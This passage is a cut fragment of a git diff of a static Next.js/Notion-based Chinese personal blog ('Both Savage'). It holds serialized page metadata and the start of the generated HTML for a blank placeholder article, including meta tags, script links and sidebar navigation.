olor":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-8"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/example-9.html b/article/example-9.html
index 6cd3bf384..420281a8f 100644
--- a/article/example-9.html
+++ b/article/example-9.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>空白文章9 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Python,健康"/><meta name="description" content="仅供列表展示、文章无内容"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="空白文章9 | Both Savage"/><meta property="og:description" content="仅供列表展示、文章无内容"/><meta property="og:url" content="https://bothsavage.github.io//article/example-9"/><meta property="og:image" content="https://images.unsplash.com/photo-1511632765486-a01980e01a18?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=463a12f0-d5d5-4492-bb0f-8058cea32a41&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="仅供列表展示、文章无内容"/><meta name="twitter:title" content="空白文章9 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 